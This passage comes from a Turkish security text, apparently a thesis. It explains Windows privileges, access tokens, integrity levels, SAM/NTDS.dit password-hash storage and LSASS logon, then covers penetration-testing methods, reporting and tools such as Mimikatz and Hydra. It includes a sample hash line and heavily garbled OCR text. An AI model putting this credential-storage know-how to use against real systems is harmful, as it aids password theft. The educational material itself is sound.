Masaiistli Baglantisi ile oturum acilmasini engeller.

2.5.7 Ayricaliklar

Sisteme oturum acildiktan sonra kullanicilarin sistem genelinde yapabilecekleri iglemleri
kontrol eden haklardir. Oturum ag¢ma haklar: kullanici sisteme oturum a¢cma agamasinda
degerlendirilir. Eger kullanicinin sisteme oturum agma hakki varsa ve basarili sekilde otu-

rum acilmigsa, kullanici artik kendisine atanan ayricaliklar ile sistemde ne gibi iglemleri
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yerine getirebilecegine izin verilir. Giivenlik acisindan onemli oldugu diigiliniilen ve her-
hangi bir kullaniciya atanirken {izerinde diisiiniilmesi gereken ayricaliklardan agagidaki

gibidir [21]:

e Back up files and directories (SeBackupPrivilege): Bu ayricaliga sahip olan kul-
lanicinin tiim nesne ve dosyalara erigme hakk: vardir. Erigilmeye caligilan dosyanin
erisim izinlerinin ne oldugu goz 6niinde bulundurulmaz. Bu ayricaligin tanindig:

kullanmicinin tiim dosyalar: okuma hakk: vardir denilebilir.

e Create a token object (SeCreateTokenPrivilege): Bu ayricalik, tamimlandigy kul-
laniciya herhangi bir kullanmici ya da grup igin jeton (security token) olugturma
hakk: tanir. Bu ayricaligin tanmimladigi kullanici o bilgisayar iizerinde kendisini

herhangi bir kullaniciymig gibi gdsterebilir.

e Debug programs (SeDebugPrivilege): Isletim sistemi icin en hassas ayricaliklardan
biridir. Bu ayricalik bagka bir kullaniciya ait de olsa istenilen prosesi debug etme
izni verir. Bu ayricalik tanimlanan kullanicinin istedigi prosese kod enjekte etme
hakk: vardir ve kod enjekte edilen proses, prosesi baglatan kullanicinin haklar:
ile caligir. Parola 6zet degerlerini ¢alan programlarin ¢cogu bu ayricaliga ihtiyag

duyarlar.

e Enable computer and user accounts to be trusted for delegation (SeEnableDelega-
tionPrivilege): Etki alaninda gecerli olan bu ayricaliga sahip olan bir kullanicinin
yetki devri igin giivenildigi anlamina gelir ve yetki devrine giivenilen bir kullanicinin

istedigi jetonu (security token) iiretme hakk: vardir.

e Load and unload device drivers (SeLoadDriverPrivilege): Bu ayricaliga sahip olan
kullanicilar sisteme cihaz siiriiciisii yiikleme hakkina sahiptirler. Bu ayricalik ile
sisteme yiiklenecek herhangi bir kod dogrudan kernel seviyesinde caligtirilir ve her-

hangi bir giivenlik kisitlamasi olmadan ilgili kod caligtirilabilir.

e Restore files and directories (SeRestorePrivilege): Herhangi bir dosya ya da register

anahtarina yazma izni verir.

e Take ownership of files or other objects (SeTakeOwnershipPrivilege): Erigim izin-

lerine bakmazsizin herhangi bir nesnenin sahiplenilebilmesine izin verir.
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Her kullaniciya her bilgisayarda ozel olacak sekilde tanimlanan kullanici haklar: ve ayri-
caliklar - ileride daha detayli olarak incelenecek olan - kullaniciya ait Security Access
Token1 (SAT) igerisinde bulunurlar ve kullamc ilgili bilgisayarda ne gibi hak ve ayricalik
tamindiginin tanimlanmasinda kullanilirlar. Her bir kullanici ya da grup igin tanimlanan
hak ve ayricaliklar her bir bilgisayara 6zeldir ve bir bilgisayara 6zel olarak tanimlanir.
O anda oturum acilan kullaniciya ait olan ayricaliklar “whoami /all” komutu ile liste-

lenebilir.

Yukaridaki resimde de goriildiigii gibi, komut satir1 yonetici olarak acildiginda (Run as

administrator), daha fazla ayricaliga erigim saglanabilmektedir.

2.5.8 Security Access Token (SAT)

Security Access Token (SAT) Windows igletim sistemlerinde oturum agan kullaniciy:
tanimlamada, kullanicinin iiye oldugu gruplar1 belirlemede ve kullaniciya atanan ayri-
caliklar belirlemekte kullanilir [22]. Kimlik dogrulama asamasindan gegen her bir kul-
lanici igin bir jeton (token) olusturulur ve bu kullanicinin ¢aligtiracag her bir proses ve

ig parcacigl (thread) kullaniciya ait olan jetonun (token) bir kopyasi iligtirilir.

SID bilgisayarlara, kullanicilara, servislere ve giivenlik gruplarina verilen benzersiz giiven-
lik tanimlayicilaridir. SID degerine sahip olan bir nesne diger nesnelere gore kendisini
ayirt eder. Bu sebeple TCKN ’na benzetilebilir. SAT ise b&yle bir durumda ehliyete ben-
zetilebilir. Artik tiim ehliyetlerde TC Kimlik Numaras: bulunmaktadir ve ayrica ehliyetin
sahibi olan kullanicinin hangi araglar siirmeye izninin oldugu bilgilerde ehliyet iizerinde
bulunmaktadir. Aynen bunun gibi her bir kullaniciya 6zel {iretilen SAT degeri kullanici
adina ¢ahgtirilan her bir proses ve iy parcacigina (thread) ilistirilir ve SAT degerine
bakilarak kullanicinin hangi gruplara tiye oldugu belirlenir. Boylece kullanicinin bir kay-
naga erigim hakki olup olmadig1 belirlenir ve bdylece kontrollii olarak kaynak kullaniciya
kullandirilir. Sistem iizerinde kendisine taninan ayricaliklara gore degigiklik yapilmasina

izin verilir.

Bilgisayar tarafindan uygulanacak tiim kullamici hakk: kisitlarn yada izinler hakkinda
bilgi, iiretilen jeton (token) igerisinde bulunur ve bilgisayar yalmizca kullanici jetonuna
bakarak kullandiracag: kaynaklari belirleyebilir. Bu durum ¢aligma ofisine girmeden 6nce

veya giivenli bir odaya girmeden once personele verilen kimlik kartimi ilgili alanlara
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okutup ilgili kisive taninan haklara gore ilgili alana girmeye izin verildigi gibi, isletim
sistemi de herhangi bir kaynaga erigmeye caligtiginizda ilgili kullaniciya ait olan SAT
degerini talep edecektir ve SAT degerinde bulunan bilgilere gore ilgili kaynag: kullanima
izni verecek ya da engelleyecektir. Sekil 2.4 ’te de goriildiigii gibi bir kullaniciya ait
biitiin jetonlar: (Security Access Token — SAT) elde edilebilmek i¢in “whoami” kullanila-
bilir. Kullanic1 ve grup bilgileri haricinde, kullanicinin sahip oldugu ayricaliklar da Sekil
2.5 'te goriildiigii gibi elde edilebilir.

C:wUzerssYerel Yonetici*whoami ~all ~fo list

USER INFORMATION

ame:= pcyerel vyonetici
5—1-5-21-2647185678—-1987116678—1413383 7641808

INFORMATION

Everyone
Well-known group
8-1-1-8
Attributez: Mandatory group,. Enabhled by defawnlt. Enahled group

Group Mame: BUILTIN~Administrators

1 ype = Alias

SID: 8-1-5-32-544

Attributes: Mandatory growup, Enabled by defawult, Enabled group,. Group owner

: BUILTIN~Uzers
Alias
8-1-5—-32-545
Mandatory group,. Enahled by default,. Enabhled group

NT AUTHORITY~INTERACTIVE
Well-known group
8-1-5-4
Attributez: Mandatory group,. Enabhled by defawnlt. Enahled group

SEKIL 2.4: Kullanicinin Kimlik ve Grup Bilgilerinin Listelenmesi

Kullanicinin SID degeri, iiye olduklar: gruplarin SID degeri ve kullanicilarin ayricaliklar:
kullanicinin jetonunu olugturur. Kullanici oturum agtiginda bu bilgiler olugturulur ve
kullanici bir proses caligtirdiginda jetonundaki bilgilerine bakilarak o prosesi caligtirip
calistiramayacag kontrol edilir. Caligtirma hakk: varsa, kullanicinin jetonu, prosese ek-

lenir.

2.5.9 Zorunlu Biitiinliik Kontrolii (MIC)

Kenneth J. Biba tarafindan 1977 yilinda geligtirilen Biba biitiinliik modeli farkl giivenlik
seviyesine sahip nesnelere biitiinliigiin korunmasini garanti etmek igin geligtirilmis erigim
kontrol kurallaridir. Burada nesne biitiinliigiinden kastedilen yetkisiz kullanicilarin sis-

temde veri degigikligi yapmasimin engellenmesidir [23]. Bunun igin sistemdeki nesnelere
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PRIVILEGES IWFORMATION

SelncreazsefQuotaPrivilege
Adjust memory guotas for a process
Disahled

SeSecurityPrivilege
Manage auwuditing and security log
Dizabled

SeTakeOunerzshipPrivilege
Take ownership of files or other ohjects

Dizahbhled

SeloadDriverPrivilege
Load and unload device drivers
Dizahbhled

SeSystenmProfilePrivilege
Profile zuystem performance
Dizahled

SeSystemtimePrivilege
Change the system time
Disahled

SEKIL 2.5: Kullanicimin Ayricalik Bilgisinin Listelenmesi

giivenlik seviyelerine simiflandirilirlar. Simiflandirilan bu nesnelere giivenlik seviyelerini
tamimlayan etiketler (labels) eklenir ve erigilmeye caligilan nesnelerin etiket degerlerine
gore erigime izin verilir ya da reddedilir. Biba biitiinliik kontrol modeli, farkli etiket
degerlerine sahip bu nesnelere biitiinligiin korunabilmesi igin erigimin nasil gerceklesmesi
gerektigini tanimlayan kurallar1 belirler. Ornegin, Biba kontrol modeline gore diisiik
gilivenlik seviyesine sahip bir etiket ile caligan bir kullanici, yiiksek giivenlik seviyesine
sahip bir etiket ile korunan bir nesne iizerinde degisiklik yapma hakk: yoktur (No write-
up). Fakat bunun tersine izin verilir. Yani yiiksek seviyedeki bir kullanici, diisiik seviye
bir nesne {izerinde degisiklik yapma hakkina sahiptir. Biba kontrol modeline gére ayni
zamanda yiiksek giivenlik seviyesine sahip bir kullanici, diigiik seviyeli bir nesne iizerinde

okuma hakki yoktur (No Read-Down)

Windows Vista ile birlikte gerceklegtirilen Zorunlu Biitiinliik Kontrolii (Mandatory In-
tegrity Control — MIC) sistemi Biba biitiinliik kontrol modelinin kismi olarak gercek-
legtirilmesidir. Burada her bir korunabilen nesneye farkh giivenlik seviyeleri tanimlan-
migtir ve her nesnenin giivenlik seviyesi kendilerine atanan etiketler ile belirlenip kontrol
edilir. Windows’ta genel olarak dort farkli giivenlik seviyesi Low, Medium, High ve
System etiketleri ile tanimlanmigtir ve her korunabilen nesneye bu etiketler otomatik

olarak iligtirilir. Etiket iligtirilmemis bir nesnenin giivenlik etiketi Medium olarak kabul
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edilir. Biba kontrol modelinin kismi olarak gerceklegtirilmesi, Windows’ta giivenlik se-
viyesi diiglik olan bir nesne iizerinde okuma iglemine izin verilir. Biba modelinde bu
erisimin de engellenmesi gerekmektedir. Windows yalnizca giivenlik seviyesi diiglik bir

kullanicinin yiiksek seviyeli bir nesne tizerinde degisiklik yapmasim engeller (No write-up)

Korunabilen her nesneye etiket degeri atamir. Etiket degeri atanabilecek nesnelere klasor-
ler, dosyalar, registry anahtarlari, paylagimlar, prosesler, ig parcaciklar: (thread), servisler,
Aktif Dizin nesneleri 6rnek olarak verilebilir. Her bir nesneye atanmig etiket degeri Sys-
tem Access Control List (SACL) igerisinde saklanir. Herhangi bir proses ¢aligtirildiginda,
caligtirilan her bir prosese prosesi caligtiran kullanicinin SAT degeri de iligtirilir. SAT
igerisinde kullaniciy1 tanimlayan SID degeri, iiye oldugu gruplarin SID degerleri, kul-
laniciya ait ayricaliklar tanimlanmigtir. Windows Vista ve sonrasinda SAT degeri icerisin-
de ayrica kullanicinin MIC etiketini tanimlayan bir SID degeri de bulundurulur. Eger
standart bir kullanic1 olarak bir proses calhigtiriyorsaniz, MIC etiketiniz Medium olarak
belirlenir. Eger yonetici haklarina sahip bir kullanici ile bir proses ¢aligtirirsaniz atanacak
etiket degeri High olacaktir. Internet Explorer veya kisith haklarla sistemde ¢aligmasini
istediginiz bir programin iiretecegi MIC etiketi Low olacaktir. Sistemde caligan servisler

genellikle System MIC etiket degeri ile ¢aligirlar.

Windows’ta herhangi bir proses kendi MIC etiketi ile ayni seviyede ya da daha diigiik
seviyeli degil ise ilgili nesne iizerinde silme ve degigtirme iglemlerini gerceklegtiremez.
Yani kendi MIC etiketi seviyesinden yiiksek bir etiket degerine sahip bir nesne iizerinde
silme ve degigtirme izni yoktur. (No write-up). Fakat MIC bu nesnelere tizerinde okuma
hakkini engellemez, yani nesnenin MIC etiket degeri yiiksek dahi olsa, diigiik seviyeli bir
proses bu nesneye erigebilir ve ayn1 zamanda bu nesneyi ¢aligtirabilir. MIC buna engel
olmaz. MIC yalnizca nesnenin silinmesini ya da degistirilmesini engeller. Ayni zamanda
nesnenin okunmasinin da éniine gecilmek isteniyorsa, bu NTFS izinleri ile gerceklegtir-

ilebilir. NTFS izinlerine ilerleyen kisimlarda deginilecektir.

MIC, NTFS izinlerinden &nce degerlendirilir. Mesela bir kullanici, bir nesne iizerinde
NTFS izinleri olarak Full Control iznine sahip olsa dahi, iizerinde degigiklik yapmaya
caligtig1 nesnenin MIC etiketi kullanicidan yiiksek ise, herhangi bir degisik yapilmasina
sistem izin vermeyecektir. Dolayisiyla, kullanicinin ilgili nesneyi silme yada degigtirme
izni bulunmayacaktir. MIC aym zamanda diiglik seviyeli bir etiket degerine sahip bir

prosesin yiiksek seviyeli bir nesneyi okumasint veya caligtirmasini engellemez. Fakat
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High etiketli bir proses Low etiketli bir nesneyi caligtiriyorsa, caligan nesne artik High
MIC etiketi ile calisacaktir. Internet Explorer’in sistem iizerinde degigiklik yapabilecegi

alanlarin kisitlanmasi adina varsayilan olarak Low etiket degeri ile sistemde caligtirilir.

MIC aym zamanda diigiik seviyeli bir etiket degerine sahip bir prosesin yiiksek seviyeli
bir nesneyi okumasin veya caligtirmasini engellemez. Fakat High etiketli bir proses Low

etiketli bir nesneyi caligtiriyorsa, ¢alisan nesne artik High MIC etiketi ile cahigacaktir.

2.5.10 Kullanic1 Hesap Denetimi (UAC)

Isletim sisteminde islem yapmaya yetkili olan ve olmayan kullanicilarin denetimi amaci
ile User Account Control (UAC) 6zelligi kullanilmaktadir [24]. 4 adet seviyesi vardir. En
diigiik seviyede herhangi bir uyan ile kargilagilmazken en az giivenilir olan seviyedir. En

yiiksek seviyede ise kullaniciya uyar: verilerek yetkilendirme istenir.

2.5.11 Kimlik Dogrulama Yontemleri

Windows igletim sisteminde yerel kullanici hesaplarina ait bilgilerin tutuldugu yer SAM
(Security Account Manager) dosyasidir. SAM dosyasi %SystemRoot %\ System32\ Config
klasorii altinda bulunur [25] ve igletim sistemi ¢aligir vaziyette iken bu dosyaya erigimi
kontroliinde tutar. Bundan dolay1 igletim sistemi galisiyorken (galigma aninda — run time)
SAM dosyasi (ve ayni zamanda SYSTEM dosyasi) tizerinde kullanicilar herhangi bir iglem
yapamazlar. SYSTEM dosyasinda ise bir sistem ile ilgili bir ¢ok verinin yaninda SAM
dosyasinda tutulan kullanici parolalarinin sifrelenmesinde kullanilan SYSKEY bilgisi de

tutulur. SYSTEM dosyasi da %SystemRoot %\ System32\ Config klasorii altinda bulunur.

Giivenlik 6nlemi olarak SAM dosyasi igerisinde kullanicilara ait parola bilgileri acik gek-
ilde tutulmaz. Isletim sistemi versiyonuna bagli olarak kullanici parolalarm NTLM
veya LM 0zeti fonksiyonuna sokarlar. Bu fonksiyonun sonucunu da SYSTEM dosyasi
igerisinde bulunan SYSKEY ile gifreler ve bu gekilde SAM dosyasinda tutar. SAM

dosyasinda tutulan kullanica bilgileri format: agagidaki gibidir.
testhesabi”":0F20048 EFC645D0A179B4D5D6690BDF3:1120ACB74670C7TDD46F 1D3F5038 A5CES:::

En bagta kullamici adi (testhesabi), daha sonra bu kullaniciya ait ipucu bilgisi (yukari-

w9

daki ornekte ¢’ olarak belirtilen kisim kullanicinin ipucu bilgisinin olmadigini gosterir).



Boliim 2. Temel Bilgiler 23

0F200... ile baglayan ilk kisim kullanici parolasinin sistemde tutulan LM 6zet degerini,
1120ACB. .. ile baglayan ikinci kisim da parolanin sistemde tutulan NTLM &zet degerini
gosterir. LM degerinin bulundugu parola ézet degerleri kolay bir sekilde tespit edilebildigi
igin Windows Vista ve sonrasinda varsayilan olarak tutulmamaktadir, sadece NLTM
parola ozetleri saklanmaktadir. Windows Vista ve sonrasinda LM 6zetli olan kismi

AAD3B435B51404EEAAD3B435B51404EE olarak saklanmaktadir.

Etki alanindaki kullanicilarin parola 6zet bilgisi ise, etki alani denetleyicisindeki NTDS.dit
dosyasinda bulunmaktadir. Tutulan bu parola 6zetleri bir istemcideki gibi LM ve NTLM

halinde disk {izerinde saklanmaktadar.

Microsoft ortaminda ag {izerinden kimlik dogrulamas: i¢in kullanilan yontemlerden en
onemlileri NTLMv2, Kerberos ve akilli kartlar ile kimlik dogrulamadir. NTLMv2, NTLM’-
in daha giivenilir algoritmalar ve adimlar ile beraber kullanildig: bir protokoldiir. Ker-
beros ise etki alani denetleyicisinden alinan kisa siireli jetonlarin kullanimina dayanir.
Akilli kartlar ise ag iizerinden kimlik dogrulamanin en giivenilir yéntemi olup inkar edile-

memezlik saglar.

2.5.12 Oturum Ac¢ma Siireci

Windows igletim sistemi c¢ekirdek moduna ait temel bilegenler yiiklendikten sonra kul-
lanici moduna ait bilegenler yiiklenir. Bu bilegsenlerden birisi de etkilegimli oturum agma
(interactive logon) iglemi i¢i gereken bilegenlerdir. Etkilegimli oturum iglemi igin ilk
caligan proses Smss.exe prosesidir. Sonrasinda her oturum icin yeni bir Smss.exe prosesi
olugur. Her kopya Smss.exe prosesi de Csrss.exe ve Winlogon.exe proseslerini olugturur
ve kendilerini sonlandirir. Ornegin, Sekil 2.6 ’te proses ID degeri 368 olan Smss prosesi;
proses ID degeri 488 ve 624 olan iki adet kopyasimi olugturmus ve bu prosesler bagka

prosesleri olusturarak varliklarini sona erdirmigtir.

Yeni oturum ag¢ma sirasinda kimlik bilgisi saglayicilar1 (Credential Providers — CP) kul-
lanilir [26]. LogonUI adi verilen prosesi, kimlik bilgisi saglayicilarim yiikler ve kayit def-
terinde bulunan “HKLM\Software\Microsoft\ Windows\ Current Version\ Authentication'
Credential Providers” anahtarinda listeler. Bu kimlik bilgisi saglayicilari, LogonUI prose-

sine oturum agmak i¢in gerekli olan arayiiz bilegenlerini (kullanici adi ve parola bilgisinin



Boliim 2. Temel Bilgiler 24
Process Life Time Description Owner
il
= &) System (4) NT AUTHORITY\SYSTEM
[ ] smss exe (368) —Nndm Session Manager NT AUTHORITY\SYSTEM
iﬁ autochk exe (380) Auto Check Ukility NT AUTHORITY\SYSTEM
= § 1 smss.exe (488) | Windows Session Manager NT AUTHORITY\SYSTEM
] W) csrss exe (524) _Cient Server Runtime Process NT AUTHORITY\SYSTEM
ﬁmrhosl.em (1376) l Console Window Host NT AUTHORITY\SYSTEM
[ conhost exe (1348) N Console Window Host NT AUTHORITY\SYSTEM
5% conhost.exe (4972) | Console Window Host NT AUTHORITY\SYSTEM
) &1 winink exe (616) I Vindows Start-Up Application NT AUTHORITY\SYSTEM
@ 1| services exe (684) B Services and Cortroller app NT AUTHORITY\SYSTEM
) lsass.axe (700) I Local Security Authority Process NT AUTHORITY\SYSTEM
B lsm.exe (708) _Lucal Session Manager Service NT AUTHORITY\SYSTEM
= iﬁ smss.exe (624) I Windows Session Manager NT AUTHORITY\SYSTEM
B csrss exe (632) N Crient Server Runtime Process NT AUTHORITY\SYSTEM
) [ winlogon exe (392) P Windows Logon Application NT AUTHORITY\SYSTEM
:i:l LogonUl.exe (392) Windows Logon User Interfface Host NT AUTHORITY\SYSTEM
mpnotify.exe (1532) = Windows NT Multiple Provider Notification Application NT AUTHORITMSYSTEM
& 7 atbroker exe (2208) | Transitions Accessible technologies between desktops ~ SGE0S\Ert
= § 1 userinit exe (2268) . Usesinit Logon Application SGE0S\Ert
0 o ol BXE 2339 I s Exore SGEDsEr

SEKIL 2.6: Windows 7 Isletim Sisteminde Boot Iglemi Sonras1 Calisan Prosesler

girilecegi metin kutusu gibi) belirtir. LogonUI prosesi de gerekli arayiizii (Windows otu-

rum a¢ma araylizii) olugturur.

Kullanic1 bu arayiize kimlik bilgilerini (kullanici adi, parola,... gibi) girer ve bu bilgiler

once Winlogon sonra da LSASS (Local Security Authority Subsystem Service) prosesine

gonderilir. LSASS.EXE prosesi genel olarak kimlik dogrulama ve yetkilendirme (jeton

olugturma gibi) siireclerinde gorev alir. Kimlik dogrulamas: sirasinda giivenlik destek

saglayicilart (SSP) kullanmilmaktadir. Bu saglayicilardan en énemlileri ve kullandiklari

DLL’ler su gekildedir:

e (Credential Security Support Provider — credssp.dll

e Digest Security Support Provider — Digest.dll

e Kerberos Security Support Provider — kerberos.dll

e Negotiate Security Support Provider — lsasrv.dll

e Negotiate Extensions Security Support Provider — negoexts.dll
e NTLM Security Support Provider — msvl 0.dll

e PKU2U Security Support Provider — pku2u.dll

e Schannel Security Support Provider — Schannel.dll

e Live Security Package — LiveSSP.dll
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e Terminal Services Package — tspkg.dll

Bu paketler LSA (Local Security Authority) tarafindan bellege yiiklenirler. Yiiklenecek
DLL dosyalar1 da kayit defterinde “HKLM\SYSTEM\ CurrentControlSet\Control\Lsa\

Security Packages” altinda listelidir.

LSA tarafindan bellege yiiklenen DLL, kendisine iletilen agik metin sifreli olarak bellekte
saklar. Ayrica bu bilgilerin desifre edilebilmesi i¢in de bellekte gifreleme anahtar1 da

saklamr.

2.6 Sizma Testleri

Bu baglk altinda siber saldirilarin artmasi ile 6n plana c¢ikan sizma testlerinin amaclari,

kapsamlari, yontemleri ve sizma testlerinde kullanilan temel araclar incelenecektir.

2.6.1 Amaci

Sizma testleri, kurumlardaki varhiklarin (sistem, uygulama veya insan olabilir) saldirgan
bakig acisi ile zayifliklarinin tespiti ve istisman ile ele gecirilmesini veya zarara ugratila-
bileceginin gosterilmesini amaclar. Kurumlar sizma testleri sayesinde zayif yonlerini gore-
cekleri gibi, giiclii noktalarini, kurumsal politikalarini, siireclerini, yapilarini iyilegtirmek

ve BT tarafindaki i¢cin ROI (Return of Investment) bir girdi saglamis olurlar.

2.6.2 Kapsamlari

Sizma testleri gegitli kapsamlarda gerceklestirilebilir. Bu kapsamlardan en 6nemlileri

agagidaki gibi siralanabilir.

o Ic Ag ve Dis Ag: Ic ag {izerinden veya internet iizerinden cevrimici veya cevrim disi
yollar ile olabildigince fazla bilgi edinilmeye galigilir. Bu testlerde kurum g¢aligan-
larin kimlik bilgileri ve bu kigilerin zaaflari, kuruma ait servislerin acik portlari,
servislerdeki zafiyetler, kuruma ait dokiimanlar ve dokiimanlar igerisinden bilgiler

elde edilmeye caligilir.
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o Etki Alami Sistemleri: Kurumlarn i¢ agim (ve Ozellikle Microsoft tabanl sistem-
lerini) yonettikleri ana sistemler (Domain Controller) ele gecirilmeye ¢aligilir. Bu
testlerde konfigiirasyon ve sistemlerdeki zafiyetlerin tespiti ve miimkiinse istismari,
bu sistemler iizerinden diger sistemlerin ele gecirilmesi, ele gegirilen sistemler ve ag
tizerinden parola 0zeti ve parola bilgisi bagta olmak iizere bilgi toplama, etki alani
yoneticilerinden birisinin haklarini ele gecirme ve tiim etki alanindaki sistemlere
yayilma adimlari gerceklegtirilir. Bunun yaninda denetimlerde parola politikasi, ko-
ruma mekanizmalarinin giivenligi, grup ilkeleri, sistemlerdeki sikilagtirmalar, nesne

erigim kontrolleri, fiziksel giivenlik gibi konular da incelenir.

e Web Uygulamalar: ve Web Sunuculari: I¢ agdaki veya internete acik olan web uygu-
lamalarimin ve web sunucular: {izerindeki acgikliklar otomatik araclar veya manuel
olarak tespit ve istismar edilerek yanls alarmlar (false pozitif durumlar) en aza in-
dirilir. Bu testlerde yama eksiklikleri, XSS gibi girdi veya ¢ikt1 kontrol eksiklikleri,
SQL enjeksiyonu gibi enjeksiyon zafiyetleri, kimlik dogrulama zafiyetleri, oturum
ybnetimi ve yetkilendirme zafiyetleri, gereksiz metotlar, veri sizdirma acikliklar ile

oldukca sik karsilagilabilir.

o Iletisim Altyapisi: Bu testlerde iletisim altyapisindaki sistemlerin (IPS veya icerik
filtreleyicileri gibi) giivenligi, ag topolojisinin degerlendirmesi, erigim giivenligi konu-

lar: incelenir.

e Veri tabanlari: Kurumda bulunan veri tabanlari (MSSQL, Oracle vb.) veya bu
veri tabant uygulamalarinin {izerinde caligtiklar: sunucular {izerindeki yapilandirma
ayarlari, sikilagtirmalar, zafiyetler, kimlik dogrulama mekanizmalari, erigim ve yet-
kilendirme kontrolleri, izleme veya yedekleme gibi genel degerlendirmeler gercek-

lestirilir.

e Sosyal Miihendislik: En zayif halka olarak tanimlanan insan faktoriindeki zafiyet-
leri ortaya cikarmay: amaglanir. Sahte mail yollama, telefon ile arama, sirket igeri-
sine yetkisiz olarak girig yapabilme gibi yontemler kullanilabilir. Ana amaclar gir-
ket agina dahil olmak, kurum hakkinda bilgi edinmek, kullanici parolalarim ele

gecirmektir.
Bunun yaninda diger kapsamlar agagidaki gibi siralanabilir.

e Linux Sistemler
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e E-posta Sistemleri

e DNS Sunucular:

e DICP Sunucular

o Aktif Cihazlar (Switch, router vb.)
e Giivenlik Duvar:

e VPN Cihazlar:

e Sanallagtirma Sistemleri
e Kablosuz Ag

e DOS/DDOS

e Kaynak Kod Analizi

e ATM Sistemleri

e SCADA Sistemleri

2.6.3 Yontemleri

Sizma testleri temel olarak 3’e ayrilabilir [27]:

e Kara Kutu Testi (Black Box): Bilgi olmadan — sadece kurum adi bilgisine sahip

olarak yapilir. Bu tiir sizma testinde, sadece kurumun dig agina erigim vardir.

e Beyaz Kutu Testi (White Box): IP bloklari, ag mimarisi, FW/IPS detaylar1 gibi
bilgiler verilerek yapilir. Bu tiir sizma testinde, kurumun i¢ isleyisi ve ic sistemleri
sizma testi yapan tarafindan tam olarak biliniyordur veya bu bilgiler kendisine

veriliyordur.

e Gri Kutu Testi (Gray Box): Kurum i¢i standart ¢alisan profilindeki bir kiginin sahip
olabilecegi bir bilgi ile yapilir. I¢ /personel sizma testi olarak da diigiiniilebilir. Bu

tiir sizma testinde, kurumun bazi sistemlerine kismen erigim vardir.

Bunun yaninda kuruma verilen bilgiye gore ise 2’ye ayrilabilir.



Boliim 2. Temel Bilgiler 28

e Haberli Testler: Sizma testinin yapilacagim kurumdaki birgok kisi bilir.

e Habersiz Testler: Sinirli sayida yonetici bilir. Boylece kurumun saldin kargisinda
tepki/cevap yetenegi de goriilmiis olur. Ozellikle sosyal miihendislik testlerinde

habersiz sizma testi yapilir.

2.6.4 Raporlanmasi

Sizma testlerinin en 6nemli ¢iktisi raporlaridir. Sizma testi raporu yonetici veya teknik
rapor olmak iizere 2 formatta hazirlanir. Yo&netici 6zetinde genel bilgiler yer alirken,

teknik raporda ise bulgular ile ilgili detayl bilgiler yer alir [10].

Teknik sizma testi raporunda olabilecek alanlar temel olarak agagidaki gibi siralanabilir.

e Bulgu ID: Bulgunun takibi i¢in kullanilan ID degeridir. Firmaya veya projeye 0zel

olarak ayarlanabilir.
e Bulgu Kategorisi: Bulgunun yer aldig1 kategoriyi belirtir.
e Bulgu Adi / Baglig: Bulgunun genel adin1 belirtir.
e Bulgu Ozeti: Bulgunun cok genel tanimi verilir.
e Bulgu Detayi: Bulgunun teknik detay: belirtilir. Resim, kaynak kod vb. igerebilir.
e Elde Edilen Bilgi: Bulgu sonucunda agiga/ortaya gikan bilgi belirtilir.

o Kritiklik: Bulgunun 6nem derecesi belirtilir. CIA gibi bilegenlere etkisine gore bir

metodolojiye (DREAD gibi) gore de derecelendirme gergeklestirilebilir.

e Tahmini Kapatilma Siiresi: Bulgunun kapatilma siiresi belirtilir. Bu madde sis-
tem yoneticileri ile beraber belirlenerek bulgunun kapatilmasinin takibi icin acgilan

talebin son tarihi olarak belirlenebilir.

e Etkisi: Bulgunun etkisi belirtilir. Ornek: Hassas Bilgilerin Ifsa Edilmesi, Bilgi
Ifsasi, Yetkisiz Erigim, Hizmet Digi Birakma, Isletim Sistemini Ele Gecirme, Stan-
dartlara (PCT vb.) Uyumsuzluk vb.

e Saldirgan Profili: Kullanicinin profili belirtilir.

e Kullanilan Arac: Bulgunun agiga cikarilmasi sirasinda kullanilan araglar belirtilir.
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e Etkilenen Bilesen: Bulguya sahip olan bilesen belirtilir. Ornek: Etki alamndaki
bilgisayarlar, kurum personeli, 10.10.10.0/24, PC-Ali,...

e Port / Servis: Bulguya sahip olan bilegenin portu/servisi belirtilir. Baz1 kategoril-

erde bu alan kullanilmayabilir.
e Coziim Onerisi: Bulguyu kapatmak icin gerceklestirilmesi tavsiye edilen ¢oziim
Onerisi belirtilir.

e (J6zlim Referansi: Coziim onerilerine yonelik baglantilar belirtilir.

Teknik sizma testi raporu PDF veya Word olarak hazirlanmasimin yaninda, Excel olarak

da bir ek halinde hazirlanabilir.

Yonetici 6zetinde ise iist diizey kritiklik seviyesinde olan bulgulardan bahsedilerek kuru-
mun giivenlik durumu ortaya konulur. Ayrica bir takim istatistiksel ve gorsel bilgiler ile
de test sonuclari 6zetlenebilir. Sizma testi raporunda bulunabilecek grafikler agagidaki

gibi olabilir.

Kritikligine gore bulgu adetleri

Kategorisine gore bulgu adetleri

Kategori ve kritikligine gore bulgu adetleri

Etkisine gére bulgu adetleri

Kullanic profiline gore bulgu adetleri

Erigim noktasina gore bulgu adetleri

Si1zma testleri raporunda bulunmasa bile sizma testi bulgularinin takibi ve dogrulamasi

i¢in asagidaki alanlar da kayit altina alinabilir.
e Bulgu Takip Talep ID: Sizma testinin yapildig: taraf (banka gibi) tarafindan bul-
gunun kapanmasini takip etmek amaci ile ilgili ekibe acilmig talep ID degeridir.

e Test Senaryosu: Bulgu dogrulamas: sirasinda gergeklegtirilebilecek adimlar belir-

tilir.

e Saldir1 Referansi: Saldirinin gergeklegtirilmesine yonelik baglantilar belirtilir. Bu

alan rapor icerisinde olmasa da sizma testi ekibinin elinde olmasi tavsiye edilebilir.
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2.6.5 Araclari

Sizma testlerinde en ¢ok kullanilan araglar ve betikler agsagidaki gibi siralanabilir.

Aircrack-ng [28]

e Aireplay-ng [29]

e Airodump-ng [30]

e Arp-scan |31]

o Beef [32]

e BurpSuite [33], ZAP [34]
e Cain & Abel [35]

e Crunch [36]

e Cewl [37]

e Dig, Host, Nslookup

e Dmitry [38]

e DNSEnum [39]

e Dsniff [40], UCSniff [41]
e Esedbtools [42]

e Ettercap [43]

e Exiftool [44]

e Evilgrade [45]

e Fierce [46]

e Flashlight [47]

e FOCA [48]

e Harvester [49]
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e Hping3 [50]

e Httrack [51]

e Hydra [52]

e John the Ripper 53]

e Kacak [54]

e Kismet [55]

e Macof

e Maltego [56]

e Medusa [57]

e Metasploit Framework [58]; Core Impact [59]
e Mimikatz [60]

e Ncat/Nc [61]

e Ncrack [62]

e Nessus [63], OpenVAS [64], Nexpose [65]
o Netsparker [66], Acunetix [67|, Weblnspect |68]
o Nikto [69)]

e Nmap [70]

e Ntdsextract |71]

e Ophcrack [72]

e Powershell

e Proxychain [73]

e Pth-winexe [74]

e Putty [75]

e Recon-ng [76]
